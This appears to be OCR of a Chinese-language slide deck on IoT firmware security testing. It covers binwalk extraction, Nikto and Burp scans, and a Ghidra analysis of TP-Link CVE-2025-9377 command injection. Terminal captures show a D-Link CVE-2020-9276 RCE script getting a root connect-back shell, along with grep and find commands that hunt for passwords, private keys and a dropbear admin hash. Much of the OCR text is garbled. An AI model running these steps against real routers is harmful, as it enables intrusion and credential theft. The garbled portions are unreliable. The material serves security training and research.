" TOTOLINK_C835DR_LR350 IP04481 MT7628NN_SPI_8M32M_V9.3.5u.6507... Free space: 17.7 GiB (Total: 39.2 GiB)




Extracting Filesystem IREUVER & %

& [ o
E —/\

IEENRSIRE R DBt L BRER R - ISTEHERG B binwalk | Unblob EMBA
Chm - sl G BN

.

20

B squashfs-root

File Edit View Bookmarks Go Tools Help

$ﬂ ’f —_|- i ,%m = ~ @ | < || E /| home | iot || Downloads | TOTOLINK_CB3SDR_LR350_IP04481_MTT628NM_SF »

Places -—— »— [ — [ — P
1. MA binwalk -Me B &R A2 B S FNTET G Home Folder , - - B
TrasH Can »— — - — :

U Applications

=BEMCRM - F8) dd o &EEERER ( SquashFS - BliGavoume & gty meds

@ Documents -_—— =

JFFS2 « UBIFS) P s
EJ Pictures

H videos

= Downloads

3. B RZAMEEZEAH ( mount / loopback ) e oo

File Edit View Bookmarks Go Tools Help

5Y5

7 ¢ S () | € M32M_V9.3.5u.6507_B20221113_ALL.web.extracted | squashfs-root | www | cgi-bin || »

4. EEEL;\ /EtC /bln /WWW :_'?FE%%LE filnl:l %Hﬁ;ﬁﬁ Places P — = = P — [ ] [

.1 Home Folder i | | | | L i | | L |
Desktop advance basic cgi-bin language phone plugin
| Trash Can [ —
Applications 3 T ] - -
[ . — E—
p 1.1GBVolume & static errorhtml  Ffaviconico homehtml index.html login.html

[} Documents

login_ie.html opmode.htm telnet.html wan_ie.html wizard.html
[




Analyzing Filesystem Content i &2 KNS 0
( E *E 4 I\_II%_'I 1T E I
ERINERAFTESRRE RS - REITH
EA S ARERSE =5 7o - §
%ﬂf?a/%m iot@attifyos ~/D/ /squashfs-root>
find -name "*.conf" -0 -name "*.ini" -o -name "*.sh"
1. ESFHIBIRTEZNE - APl £58 - AIBIEZR (.pem / ./lighttp/lighttpd. conf
id rsa ) Jusr/bin/opt-umount.sh
B .Jusr/bin/ipkg.sh
. ./usr/bin/opt-mount.sh
2. I ERLENMIA (init scripts ) - cron job ~ IRTFEEE ./usr/bin/opkg. sh
12 ./usr/bin/opt-start.sh
Jusr/bin/opt-ipkg-upd.sh
T o Jusr/bin/opt-opkg-upd.sh
3. LEHE =S EAIRA - SHHEDH CVE s /sbin fgn_wgs?shp
./etc ro/custom.conf
4. FFRERGRE EMEHEIRRE - BAE SUID/ SGID #, ./etc_ro/1ipkg.conf
(T ./etc ro/lld2d.conf
./etc ro/ld.so.conf
./etc ro/mdev.conf
/www/cgl-bin/ExportSettings.sh
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o
o

H 1=
EREFTEIREIEIE MERAITIIRE - /EED
A7 0] O EHVIRIR ©

o170 B

1. #|Ef CPU 245 ( ARM / MIPS / x86 )
2. 5 QEMU B EINE R A E VIR B
3. RIBREES T E AT OY

4, B E - ERHREE P AU MRS ol R INER 7 HY

[*] Get screenshot of web server on IP 192.168.08.1:80 ...
[*] Screenshot of web server on IP 192.168.8.1:80 created

Product Page : DIR-300 Hardware Version : Bx  Firmware Version : 2.14

Password :

WIRELESS

[*] Starting Nikto web server analysis for 192.168.0.1:80

- Nikto v2.1.6

+ Target IP: 192.168.0.1

+ Target Hostname: 192.168.0.1

+ Target Port: 1]

+ Start Time: 2022-06-16 13:51:01 (GMT2)

+ Server: Linux, HTTP/1.1, DIR-380 Ver 2.14

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XS55-Protection header is not defined. This header can hint to the user a
+ The X-Content-Type-Options header is not set. This could allow the user agent
+ No CGI Directories found (use '-C all®' to force check all possible dirs)

+ 0SVDB-39272: /favicon.ico file identifies this app/server as: D-Link x

+ 7925 requests: 7 error(s) and 4 item(s) reported on remote host

+ End Time: 2022-06-16 13:54:14 (GMT2) (193 seconds)

+ 1 host(s) tested

[*] Finished Nikto web server amalysis for 192.168.0.1:80
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4 )

=F BmHLE

PrETIE RS BT PRIRFS ETEEFZ 2R Burp Suite boofuzz nmap / Nikto
et - | ooz g nmep TG

#H AT B

602 http://192.168.0.1:8181 POST /dws/apifLogin?1582909964611
http://192.168.0.1:8181 GET /category view.php

1. Web / API 23FERIE . 08 &E - FE<EA - —
Reques Response
CSRF eauest [ Resporse

Params | Headers

1 POST /dws/api/Login?1582909964611 HTTP/1.1

. Z 5( : . . = 2 Host: 192.168.0.1:8181
2' ij‘"‘ﬂft HI&—% /r—-l_ FUZZIng ( UPnP TelnEt E I:I]_ 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
-3 Accept: #*/4
-I-7J7J/ZE ) 5 Accept-Language: en-US,en;g=0.5

5 Accept-Encoding: gzip, deflate
7 Referer: http://192.168.0.1:8181/
5 Content-Type: application/x-www-form-urlencoded

3. AIFENE B EHIZE S SRR ( BRARKE 15 9 |Content-Length: 50

) Cookie: uid=8ZFP46200g

igigiiﬁg?¢gg ) ii Connection: close

3 1d=admin&password=9eff’

4, REEZEIBIAGEZE (BES - Zigbee &

) K"status": "ok", "errno": null, "uid": "8ZFP46200g", “challenge": "84f9ecfa-786e-4406-baab-156abd8650c5",

\ https://unit42.paloaltonetworks.com/6-new-d-link-vulnerabilities-found-on-home-routers/
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H 1R
EEEFERSREERIRIETES
- FRRCIBESEARRY ISR -

4%’}

STV

———t— N

B 17 B
1. Pl gdbserver attach B1Z21T12ETE) AR EE

2. AlFECIBRS B SR A5eR, | @R R - EEIRE

3. Dl strace / ltrace EEHt 2 ST NER1TIET &

4. %3 JTAG /| UART FRrEEE RSB & 0l 2

5t9,

hal, %s@ # src

I,IIHE'.‘J E‘"F‘-‘; Hxd d8+va -._' 3 Oy
5t9

E‘Ei;'-r--::l 3 %, ::.‘_.v. :4,'

o -': IE"'—'-F’-"_: gxd 38+var 420 # de-
$al, (aBuildssh+8)

addiu =
la %al, (a FLlli |+ )
la tr

https://raelize.com/blog/d-link-dsl-2640b-security-advisories/

jalr
addiu
quE
Lw

al, (aVpiv

b » loc _

p, @xd38+var_428(%sp)

ciHtml - 8x558880 )
ABE1D4




Exploitation I EE &5

E

%U%EFE - BV1S root %RV IZTVAEAITHE

WA A /}% /|_,| E/J —_l-

u}\lZ SERFTAERIR - BRER

-~

1T 20 B
1. BEZEIBIISTR -

chain )

2. ¥ 5FH% Proof of Concept

3. 23 B3 Shell - root #[R -

4. T MHERTZE - DL CVSS
S

AHRSTEIEEHE (exploit
g O] B IR M4

S B AT AIEERT

Rr o) B R SRR

\ 4

File Edit View
est@exploits:
+] listener:
Listener:
Listener:
Listener:

[+]

cat

t
[
[
[+
[+
[
[
[
[

Search Terminal Help

D-LinkyDSL-2640B\CVE-2020-9276 do_cgi buffer overflow$
init socket...
daemonizing...
Started!
Waiting for a shell...
in: Building payload...
in: Building request...
in: Triggering...
Listener:
Listener:
Jprocfcpuinfo
system type

processor

cpu model

BogoMIPS

wait instruction
microsecond timers
tlb_entries

extra interrupt vector
hardware watchpoint
unaligned access

VCED exceptions

VCEI exceptions

Got connect-back from address:

: D-4P-
1 0
: BCM6348 V0.7
: 255.
: no

1 yes
: 32

1 yes
: no

: not

https://raelize.com/blog/d-link-dsl-2640b-security-advisories/

. /CVE-2020-9276\ -\ do_cgi_ RCE.py

192.168.1.1:3072

available
: not available



OWASP loT Top 10

R INIoT ZEREER

592 15 B 1 A 5 'R R
TRRRENS ~ SRS - HEBERAE B PIIERBIRE

RFARELRE
BEREEE - KNERF  ASHERZ

A2 RV B8 AR 75
ANERIFE M port ~ AL ZHE (Telnet/FTP)

ALZEER EwH/RE
JETLS/SSL ~ ERAZEINZ « £ 4RSS IA X 1=

ALZEMNERRITH

Web/API/Z215 /7 815 1 BTG/ SB35 o1 B4 A B

iR Z R B EIEAE

HARRERERE - BEEEBM  BLE

T

il

iiA =2 22 % 58 i il

FOABRMERS - BRARINE - REERE

AL ERITRERERTE
AZZRILEMIERRE  FFNETNBETRZRUA

ERALZERTTH
Z %0 CVE BIEHRR OS/Library + & SBOM &3E

iR = B BS s {C 1
k=~ Efe 7z % ~ JTAG/UART debug M HEE
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CVE-2025-9377 - TP-Link Router - &

915 2 H RCE

Kl
Ejil
allk




X3

Y & 4
~I

CVE-2025-9377 ;

X3

15 BB = §h
) = = =z

¥JhzZero/N-dayifmiEl M = o] LAV F
« EiBgithubd B IFFL ISP Flpoc
e MBHAZlpocBIzETI LAt description P El 43 FiE1

AKCVE-2025-9377 Detail

Description

LI EEDIGEL I I remote command execution {RCE) uulnemblllty exists in the Parental Control page on TP-Link Archer{sr{{SUR»ER

tion contr

CVSS 4.0 Severity and Vector Strings:

NIST: NVD N/A
\
“ CNA: TPLink cvss-B- Vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/ULN/VC:H/VI:H/VA:H/SC:N/SI:N/S
A:N

NVD assessment not yet provided.

https://nvd.nist.gov/vuln

i 5B E R EEF
Tl e 12 3/ £

ot

-

/

TP-LINK | MULTIPLE ROUTERS

¥ CVE-2025-9377 &

TP-Link Archer CT(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability: TP-Link Archer C7(EU) and TL-
WR841N/ND(MS) contain an 0§ command injection vulnerability that exists in the Parental Control page. The impacted products
could be end-of-life (Eol) and/or end-of-service (EoS). Users should discontinue product utilization.

Related CWE: CWE-78F
Known To Be Used in Ransomware Campaigns? Unknown

Action: Apply mitigations per vendor instructions, B pate Added: 2025-09-03

follow applicable BOD 22-01 guidance for cloud i
otlow appiic guidance ® Due Date: 2025-09-24
services, or discontinue use of the product if

mitigations are unavailable.

Additional Notes 4

https://www.cisa.gov/known-exploited-vulnerabilities-catalog




CVE-2025-9377 /mill 5 ==

TP-Link Router X REZEINE — KBEEEZERZEINHNIT
CVE ID CVSS #a Al == N AN AKEV A= &
CVE-2025-9377 8.6 High RCE (B5aig TP-Link Archer %5l 2025/09

TRHERE
TP-Link Archer C7(EU) V2&B2HRZx 241108 Z ATAYFR 7S AR S (Eol) TP-LINK
TP-Link TL-WR841N/ND(MS) VIgJEZhRZX 241108 2 BIRYF A Al AN (EoL)
Status
il g : -
=277 E Web Ul £ E57E (Parental Controls) B H Network S
« EAREZEER url_0 28 EFH 2| /tmp/wr841n/parent.sh 3= A i T enemleownsh @Dk @t
shell script 35 sh H175% script * 2 ar< )£ A ( Command Injection ) Forwarding MAC Address of Parental PC: | 00:11:22:33:44:55
e ST S
Access Control
b S Sasdwsia bosere
REEABEAGIKRGHRETIREIEER - 2R ORe)EFARERES 1P & MAC Binding D MACaddress  Website Description
Dynamic DNS Add New...
il B2 1R 14 - e e
TEAYUNERTEEARE
WEE O] DL St 48 £ /tmp/dropbar/dropbearpwd &P BV 15 /&R 55 £ EE1TRCE
~EER
Proot BMHITHERES - JEARZM - IMARERAR - =oiZe) 2N




CVE-2025-9377 Al iE

FRSEUS

EH N
Binwalk 2 £]

ARRE DT

ERE<ERK

httpd 18 B8 1g 28 1

o TiE

B Ghidra i&E:2

httpd bR £ &5

FAT 15 5%

& FHFirmadyne 217
QEMU &5 IRIR

ot O 27y
ENREL TS

%5 18 {F 7% payload
Rl F B 3 AR RS

RN

e =R GRS




SRRy

fZ . TL-WRS841N F§2

iot@attifyos ~fotplink> ls
tplink.bin  tplink.bin.extracted/
iot@attifyos ~/D/tplink> binwalk -t tplink.bin

DECIMAL HEXADECIMAL DESCRIPTION
0 0x0 TP-Link firmware header, firmware version:
0.-16758.3, image version: "", product ID: 0x0,

product version: 138477577, kernel load address:
. . . 0x0, kernel entry point: 0x80002000, kernel
blnwalk -t 'Flr‘mwar‘e.bln offset: 4063744, kernel length: 512, rootfs
offset: 723054, rootfs length: 1048576,
bootloader offset: 2883584, bootloader length: ©

13424 0x3470 U-Boot version string, "U-Boot 1.1.4 (Mar 10 2015
- 14:42:59)"
supb [ | 5] Ees 4 13472 0x34A0 CRC32 polynomial table, big endian
& Al \ '
”ﬁtﬁ%J{EZlgfi;;]¢%§ 14756 0x39A4 uImage header, header size: 64 bytes, header CRC:
° EEEIL\;\/_\EU‘BOOt bootloader 0x570B2B08, created: 2015-03-10 06:43:01, image
. H0 size: 34470 bytes, Data Address: 0x80010000,
e Linux kernel ( MIPS 2245 ~ 3.3.8 hix ) Entry Point: 0x80010000, data CRC: ©xD269B877,
Al 2 = NI = 0S: Linux, CPU: MIPS, image type: Firmware
¢ Squashfs va4.0 Eﬂ%/%%ﬁ'{%% LZMAE\AQI'@ Image, compression type: lzma, image name:
Zﬁﬁ "u-boot image"
& 14820 0x39E4 LZMA compressed data, properties: 0x5D,

dictionary size: 33554432 bytes, uncompressed
size: 90088 bytes

131584 0x20200 TP-Link firmware header, firmware version: 0.0.3,
image version: "", product ID: 0x0, product
version: 138477577, kernel load address: 0x0,
kernel entry point: 0x80002000, kernel offset:
3932160, kernel length: 512, rootfs offset:
723054, rootfs length: 1048576, bootloader
offset: 2883584, bootloader length: ©

N e W s N T N W B e e e el Nl e T wa

132096 0x20400 LZMA compressed data, properties: 0x5D,
dictionary size: 33554432 bytes, uncompressed
size: 2103360 bytes

1180160 0x120200 Squashfs filesystem, little endian, version 4.0,
compression:lzma, size: 2228102 bytes, 553
inodes, blocksize: 1048576 bytes, created:
2015-03-10 07:07:43
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binwalk -E firmware.bin

1B

2 B B RHAY A e B e B B
- WES (i 10) BRERKSER
EEIES

- WEE (T 0.0) XERAKRKEYE

4 F ~ 22T EIE W 0x00/0xFF BY
ZE@IE -

- MARA K BE)=EA4¢

o MiH=F%%

iot@attifyos ~/D/tp

DECIMAL HEXADECIMAL
0 0x0

14336 0x3800
49152 0xCO00
133120 0x20800
854016 0xD0O806
1181696 0x120800
3407872 0x340000

Figure 1

AEIPQ=E=V B

Entropy

Link> binwalk -t -E tplink.bin

ENTROPY

Falling entropy edge (0.421923)
Rising entropy edge (0.960395)
Falling entropy edge (0.098960)
Rising entropy edge (0.987968)
Falling entropy edge (0.663193)
Rising entropy edge (0.987866)
Falling entropy edge (0.297063)

0 500000100000A50000@00000@50000@00000G5000004000000

Offset

T T IO b T l
-4c05-a04c-9...
‘:us address:

K|
=

PyLNnons. Lool4).

s not provided by any

(0.421923)

(0.960395)

(0.098960)
ropy edge (0.987968)
tropy edge (0.663193)
ropy edge (0.987866)
tropy edge (0.297063)

apind-wARNLING &7,

.service files

: Error retrieving accessibility
org.freedesktop.DBus.Error.ServiceUnknown: The name org.ally.Bus wa

Terminator
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iot@Eattifyos ~/D/tplink> binwalk -e tplink.bin

DECIMAL HEXADECIMAL DESCRIPTION

0 0x0 TP-Link firmware header, firmware version: 0.-16758.3, image version: "",
- product ID: 0x@, product version: 138477577, kernel load address: 0x0, kernel entry point: 0x80002000,

kernel offset: 4063744, kernel length: 512, rootfs offset: 723054, rootfs length: 1048576, bootloader
offset: 2883584, bootloader length: 0

. . . ?13424 0x3470 U-Boot version string, "U-Boot 1.1.4 (Mar 10 2015 - 14:42:59)"
binwalk -e firmware.bin 13472 0X34A0 CRC32 polynomial table, big endian
14756 0x39A4 ulmage header, header size: 64 bytes, header CRC: 0x570B2B08, created: 20

15-03-10 06:43:01, image size: 34470 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC
: 0xD269B877, 0S: Linux, CPU: MIPS, image type: Firmware Image, compression type: 1lzma, image name: "u-

boot image"
E%j] %ﬂ/j_H_H 4"”'"'_‘_' P 2}5@” 114820 Ox39E4 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes,
PN = 2?:/,\ 4 i uncompressed size: 90088 bytes
= y EE|7I<%:\ —flrmware'eXtraCtEd/ 131584 0x20200 TP-Link firmware header, firmware version: 0.0.3, image version: "", prod

uct ID: 0x0, product version: 138477577, kernel load address: 0x0, kernel entry point: 0x80002000, kern
el offset: 3932160, kernel length: 512, rootfs offset: 723054, rootfs length: 1048576, bootloader offse
t: 2883584, bootloader length: ©

132096 0x20400 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes,
uncompressed size: 2103360 bytes
1180160 0x120200 Squashfs filesystem, little endian, version 4.0, compression:lzma, size:

j2228102 bytes, 553 inodes, blocksize: 1048576 bytes, created: 2015-03-10 07:07:43

ioteattifyos ~/D/tplink> i
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fZ : TL-WR841N §J32

unsquashfs filesystem.squashfs

FE)A%EFE SquashFS > squashfs-root/

B tplink

File Edit View Bookmarks Go Tools Help

= v (x1 | [=]/| home| iot | Desktop || tplink | _tplink.bin.extracted

Places
i1 Home Folder . E

-] Desktop tplink.bin
[i] Trash Can
Applications
& 1.1GBVolume =«
@ Documents
/7 Music
t.] Pickures
H videos
~ Downloads
tools

'_tplink.bin.extracted” Folder

B _tplink.bin.extracted

File Edit View Bookmarks Go Tools Help

Free space: 18.7 GiB (Total: 39.2 GiB)

.. > ~ ) | 2/ ||home |iot | Desktop || tplink | _tplink.bin.extracted 'squashfs-root

Places —
. Home Folder m

[) Desktop squashfs-
[l Trash Can root
¢ Applications
& 1.1GBVolume &
@ Documents
57 Music
| Pictures
Videos
> Downloads
B tools

39E4.7z

20400

20400.7z 120200.squa
shfs

Free space: 18.7 GiB (Total: 39.2 GiB)
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MKIEBOWASP IloT TOP10f B _ #ENULABHEZARB

59/ FAER Ao e

faofl .
/etc/passwd
/etc/shadow
B EEEA
ME RIS 2R IE = 6

A 22 Z 4 i AR 75

Htelnerd/ftpdRYENER TE
= RN 7
iE#inetd. conf(inetd &M B4R )

AZELRMER

AR AR S A FHRY 7T E Im FAURL
FWEB/API:S EHE

REESHEARE

e o o o

HTEER 12 PT
I8 root IRk

‘ grep/strings

52 Rl BB 4R A5 /AP1 KEY/ TOKEN
grep -rE "(password | passwd | secret|api.?key | token)\s*=\s*['\"1[*'\"1{4,}

AR (B #i177:% (Telnet / FTP / HTTP)
grep -rE "telnet|ftp://| http://" /etc/ /usr/

X /tmp Y /var PR IEUENE IR 2R
grep -rE "(/tmp|/var/run)/.*pass|token|key" rootfs/ 2>/dev/null

‘ find
Fhim / BAEIE SR

find rootfs/ -name "*.pem" -0 -name "*.key" -0 -name "*.crt" | xargs
grep -l "PRIVATE KEY"

SSH IR i@
find rootfs/ -name "authorized_keys" -o -name "id_rsa" 2>/dev/null

HFEE SSH authorized_keys ( BF5AB )

find rootfs/ -name "authorized_keys" 2>/dev/null | xargs cat




—
‘1 V4

AP Rs 0 — BRSNS w12 1

59220/ FARR AR AR

iot@attifyos >
grep -rE "(password|passwd|secret|api.?key|token)\s*=\s*['\"]1["'\"]{4,}"
grep: dev/ar7100 flash chrdev: Permission denied
grep: tmp/dec-model.conf: Permission denied

AXCVE-2023-50224 Detail

Description

P-Link TL-WR841N dropbearpwd Improper Authentication Information Disclosure Vulnerability.

alert(js radius
II];

. MetriCS _VSS Version 4.0
" } :- CVSS 3.x Severity and Vector Strings:
alertijs_gmpty_psk_ @ v Base score: ik
alert(js illegal

n } ; : Zero Day Base Score: §5MEDIUM
_ _ a "
MD5ZBE VAR
lot@attifyos > c¢d dropbear/

lot@attifyos > 1s

dropbearpwd

lot@attifyos > cat dropbearpwd
username:admin
password:212327297a57a5a743894a0e4a801fc3=e— — __
iot@attifyos > | T —




A% AR 0 tr-CVE-2025-9377 /mifl

# TP-Link CVE-2025-9377 A webtE 2 K

o TED httpd TEAEBABOAE  eeseesssssssssessss s

o find . -name httpd -type f

e XAPFBEZIE parental control 1) =7 =B P e )

o grep -r -E "url [O-
9] |ParentCtrlRpm|parent.sh|buildParentCtrl|iptabl

es" . --include="*" 2>/dev/null

« FIZERREETYT N
o strings ./usr/bln/httpd | grep -E
"httpGetEnv|swChkLegalDomain|buildParentCtrlIptab
lesRule|refreshParentCtrlTbl|parent.sh"
o HIEIELKE
= strings usr/bin/httpd | grep -E
"ParentCtrlRpmHandler |ParentCtrl|url %d|buildP
arentCtrl”
o LB ITIEAR
= strings usr/bin/httpd | grep -E
"parent\.sh|/tmp/wr841in|execFormatCmd|tp syste
m|fprintf.*url"

File Edit Tabs Help

lyn array([9];

iyn array[10];

\');\" id="t edit" name="t edlt >Ed1t<\/a>&nbsp <a href=\"

iot@attifyos
fprintf.*url”

sh

Ex

Envp
Env

Judhcpd . pid
Jfudhcpd. conf
Judhcpd. leases
Judhcpd. pid
Judhcpc. pid
fudhcpc.script

-

faccessCtrl.sh
faccessCtrl.sh

»iot@attifyos ~/D/
Jusr/bin/httpd

|'I| 3 C | g |
3 LA L4 D i |

oot> find . -name httpd -type f

fish /home/iot/Desktop/tplink/ tplink.bin.extracted/squashfs-root

location.href="
location.href="
location.href="

: <FORM action="

document.torms|O]. .value = access targetss adv
document.forms[0]. .value = access targetss adv_

.htm?doAll="+val+"&Page="+curPage;
.htm?Add=Add&Page="+nPage;
.htm?Page="+nPage;

.htm" enctype="multipart/form-data" method="get">

document.write('<td align="center"><a href=\" | SHEEIERE - htm?Modify=" +

location.href="

= strings usr/b

(document.forms[0].
(document.forms[0].
(document.forms[0].
(document.forms[0].
(document.forms[0].
(document.forms[0].
(document.forms[0].
(document.forms[0].

in/httpd | grep -E "parent\.sh|/tmp/wr841ln|execFormatCmd|tp system|

"\" OnMouseOver=\"return ResetStatus(\ 'modif
.htm?Del="+
.htm?Page="+nPage;

)

)
)
)
" II)
)
)
)




#o1iE — EERAMIEINELE

o T FERERBE-LIGhidra B /RTP-Link CVE-2025-9377

NS &AE

B4 T & / TFTP #2EX / UART dump

el B3 A

binwalk -Me firmware.bin

SRt

Z2HFIEE

file <filename> — MIPS / ARM / x86 checksec --recursive --dir=rootfs/

Import — #E#E ISA — Auto Analysis Defined Strings / Symbol Tree Imports

fe PR R TV B

xref — Callers = Decompiler §&:%

iR iE e & ¥R
SR | BAKT | HERE

s GhidralEA ‘6 FB & fFRiEs




Ghidra # @ L& 72T

- CodeBrowser

TR SE

I]]

BEESIE -« DR - BEEETER

- Decompiler

RiwEas

=

SIS ESWIRALE CBE - EOFIRLE

X

- Symbol Tree

17 5517

Sl Exports / Imports / Functions / Labels 7348

11 3%

- Defined Strings

FrARRETS | LSBT P 52
%

Eafied

BE R TR ML IENY ( Callers ) AMEAY (7
IAREE R =,

- Script Manager

WA EHE S

.17 Java / Python B2 - X B &ML HTIEFS
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TP-Link CVE-2025-9377 Auto Analysis

S tplink.rep

Desktop

File name: Fitpd

ftplinks_tplink.bin.extract

Type: All Files®(*.%)

ect File to Import

Select Fila To import

Import /home/iot/Des...fs-root/usr/bin/httpd

Format: ¥| Executable and Linking Format (ELF) | @

MIPS:BE

Language:
Destination Folder:

Program MName:

tplink:f

httpd

efault:default

| Options... |

Project File Name:

Last Modified:

Readonly:

Program Name:

Lanquage ID:

Compiler ID:

Processor:

Endian:

Address Size:

Minimum Address:

Maximum Address:

# of Bytes:

of Memory Blocks:
of Instructions:

of Defined Data:

of Functions:

of Symbols:

of Data Types:

# of Data Type Categories:

Created With Ghidra Version:

Date Created:

ELF File Type:

ELF Original Image Base:

ELF Prelinked:

ELF Required Library
Required Library
Required Library
Required Library
Required Library
Required Library
Required Library

Executable Format:

Executable Location:

Executable MDS:

Executable SHA2S6:

FSRL:

Relocatable:

<

Additional Information

Import Results Summary

httpd

Wed Apr 29 23:44:01 PDT 2026
false

httpd

MIPS:BE:32:default (1.5)
default

MIPS

Big

32

00400000

00Shfozb

1762816

3

0

8307

2731

2950

75

2

9.1.2

Wed Apr 29 23:43:56 PDT 2026
executable

0x400000

false

: libpthread.so.0
: libc.s0.0
:librt.so.0

: libmsglog.so

: libutil.so.0

: libwpa_ctrl.so
: libgee_s.so0.1

Executable and Linking Format (ELF)

/home /1ot /Desktop/tplink/_tplink.bin.extracted/squashfs-root/usr/bin/httpd
d13282623bf3c5c7390f 0e8e4837ad8S

a99a88a20c1e35887ceb6fcabfh8703e3c8770fe39b faebcbe335a8e7879de863
file:///home/iot/Desktop/tplink/_tplink.bin.extracted/squashfs-root/usr/bin/h;
false

Loading /home/iot/Desktop/tplink/_tplink.bin.extracted/squashfs-root/usr/bin/httpd

_mips_gp0O_value=0x594d80

[libpthread.so.0] -> not found

{1ibc.s0.0] -> not found
[librt.so.0] -> not found

[libmsglog.so] -> not found
[1ibutil.so0.0] -> not found
[1ibwpa_ctrl.so] -> not found
[l1ibgec_s.so.1] -> not found

[httpd] Resolve 215 external symbols
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TP-Link CVE-2025-9377 =F-E

String Search [CodeBrowser: tplink:/httpd]

String Vie
“ftm

W

Filter:

ParentCtriRpm

String Search [CodeBrowser: tplink:

Rpm.htm'*
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TP-Link CVE-2025-9377 =F-E

Jo551314

s /tmp/wrB4ln/parent.sh 00551314 XREF[1]:

vrédln/parent.sh”

refres

String Search [CodeBrowser: tplink:/httpd]

k String Search - 2 items (of 8298) - [httpd, Mini

Location [
T 00551314

00551 3ac

J05513ac

Location [
00551314

7 005513ac

Label
s_ftmpiwr...

s sh_ftmp...

68 20

F 74 6d

2f 77

Label
s_ftmpfwr...
s_sh_ftmp...

Code Unit

string View

ds "/tmp/wrB4ln/parent.sh” | "ftmp/wrg41n/parent.sh"

ds "sh /tmp/wr84ln/paren. ..

"sh ftmpiwrg4ln/parent.sh"

s sh_/tmp/wr84ln/parent.sh_005513ac ¥REF[2] :

"sh /tmp/wr84ln/parent.sh"

Code Unit
ds "/tmp/wr84ln/parent.sh"

ds "sh /stmp/wr84ln/paren. ..

AL AT

Le... |Is Word

Stri...
string
string

[CodeBrowser: tplink:/httpd]

string View
"ftmpfwrgdln/parent.sh"
"sh ftmpfwrg4lnfparent.sh"

stri...
string
string

hParentCtriTbhl: 004ade68(*)

22 ftrue

25 true

hParentCtrl1Thl:( df1a(*),
shParentCtrl1Thl:( eOdc (*)

AL AN | T
Le... |Is Word

22 true

25 ftrue
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TP-Link CVE-2025-9377 =F-E

gation Search

Is Window Help

' 1lIDULFEREYER-

EXTERNAL

Program Tree =

7 Exports
» ¥ refreshParentCtriTbl

refreshParentCtriTbl

iltel: refreshParentCtriTbl
bT) Data Type Manager
v {H Data Types

» #  BuiltinTy
» i ontt

00546434

00546d41

0OS46d50

== u = @OSMEISE

00545451

00546460

/ParentCtrlRpm.htm_00546d34

‘ParentCtrlRpm. htm"

rentCtriRpm”

XREF[1]:

HREF[1]:

menultemlist
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TP-Link CVE-2025-9377 =F-E

| Function Call Graph - refreshAccessCirlTbl (24 functions; 37 edges)

4 2 2

Cfg wcDelFilterEntry  ucDelAllFilterEntry ucEnablefcce rlEntry

- -
IEnabled ucGetacc triDefaultRule FUN_004ael24

uchcc

triCfgal

ucSethc

2

sEntry ucSetScheduleEntry ucSetic

whame ex

cFormatCrmd getLanBridgeMName

arge

felose

tsEntry ucsS

fopen
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TP-Link CVE-2025-9377 =F-E

refreshParentCtrlThl

XREF[10] :

[more]
Entry Point(*),
ucEnableParentCtrlEntry
ucParentCtriCfgAll:C
ucSetParentCtriEntry

' 0D480e50...
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TP-Link CVE-2025-9377 =F-E

File Edit Analysis Navigation Search Select Tools Window Help

i e-=- PRPD JIDULFRYB-

{

Program Trees J o ® X | i lsting: httpd
v (57 httpd | | . '&3]
) segment_a
[2) segment_3
) ExTeERNAL

Program Tree x

~ Symbol Tree
v &2 Exports

f refreshParentCtriTbl
v |2 Functions

refreshParentCtriTbl

Fliter: refreshParentCtriTbl

ozl Data Type Manager

- N E
¥ g3 Data Types
» & BuiltinTypes
> Eonttpd

004adelc 0

004ade

27 bd

fprintf(
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TP-Link CVE-2025-9377 =F-E

1_ W
Tui
1_ W

Find: fprintf
Format

String
() Regular Expression

ARdael)

|Eu;l-'-1 ef30 00 I Mext ] | Previous | | =

4 Decompile: ref (httpd)

reshP

o

lScript

>fprintf

-I_FORMARD_FILTER

arentCtriScript

=fprintf

-I_FORWARD_FILTER

arentCtriScript

=fprintf
fprintf (p

-I_FORWARD_FILTER

arentCtriScript

arentCtriThl -

AL T ILTOrT L - ] T WHivAnD Ao I

=L

fprintfiparen

= getlan

fprinff(-
fclo
Oi

amn_1, param_2 +

¥ 0x118 + 4);

-M mac

ORWARD_PARENTCTRLNN
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TP-Link CVE-2025-9377 =F-E

Frogram Trees 45 B x| = Listing: httpd

| %

refreshParentCtriThl

ilter: refreshParentCtriThl

b1l Data Type Manager

b, B

=i Console - Scripting

ilter:

& Function Call Trees: tpMutexLockByName - (httpd)
coming Calls

bofa4
matC

addiu
1w
1w

w

Outgoing Calls

| § pthread_mu
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TP-Link CVE-2025-9377 Rl =

1 Program Trees Jo®™ xS Listing: httpd - (44 addresses selected)
v 579 httpd | » 53|
[Z) segment_4 - 1 U -
gment_3 Lo’gj:“;‘;"s or 99 1"
3 EXTERNA O4addac ui
B exmernaL 004addbO 24 6 addiu
004addb4 3¢ O ) & lui
004addb8 af )
004addbe af
2 004addcO ¢ :
004addc4 2 =>5_-1_%S_-m_mac_--mac-source_%
sprintf
LAB_004addc8 ] SHpEL : g
00d4addc8 02 60 38 2 move ; &l
1 O4addcc jalr rintf f +4 (02
Program Tree x J 004adddo _nove ‘ ”[‘:11:“4 (s1z
{ 004addd4 c v ’ 1_Sa ) S B
- Symbol Tree f ™ 004addds P 1.:, , Yaisg ! cind ! = getlanBrid
3 v [P Functions 004adddc 7 addiu :
" 004adde0 8f 1w
v o= F»UL_OO... 00dad 3 i
v 5= FUN_004a... J04adde8 03 20 8 jalr
v |O& FUN_004ad... 004addec ¢ ) _nove
> [ FUN_004ad870 0odaddfo v
004addf4 ¢ c 15
004addf8 8f be v
O04addfc 8f h4 v
004ade00 8f b6 05 b v
4 004ade0s 8f v

0C4adeC8 8f b4 05 at v

004adeOc 8f 1

Filter: FUN_004ad870 004acel0 OF b2 63 ¥
= 004adeld 8 > v

g { 004adel8 8f g v
gi Data Type Manager O04dadelc e ir

LR J\i& [ ‘| | 004ade20

5 v i& Data Types

fprintf(
memset (

sprantf(
» & BulltinTypes : L L fhah 2| [printf(
> }ﬁOht(pd re );
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HTTP 753K
GET/POST /userRpm/ParentCtrIRpm.htm

B ZElurl_%d 22

ParentCtrIRpmHandler
Ox455EC8 - httpd

